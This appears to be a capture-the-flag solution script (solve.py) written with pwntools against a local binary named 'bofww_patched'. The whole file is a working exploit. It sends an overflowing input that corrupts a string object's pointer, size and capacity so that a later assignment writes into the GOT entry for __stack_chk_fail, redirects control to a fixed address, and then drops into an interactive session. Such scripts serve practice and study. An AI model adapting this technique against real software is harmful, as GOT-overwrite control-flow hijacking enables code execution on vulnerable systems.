solve.py

import pwn

elf = pwn.ELF("./bofww_patched")
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"

p = elf.process()

# Overwrite main.name string ([ptr, size, capacity]) so that the assignment operator in input_person is an arbitrary write to GOT
p.sendlineafter("name? ", pwn.flat({0: 0x4012f6, 'baad': [elf.got["__stack_chk_fail"], 0x400, 0x400]}))
p.sendlineafter("you?", str(0xdeadbeef))
p.interactive()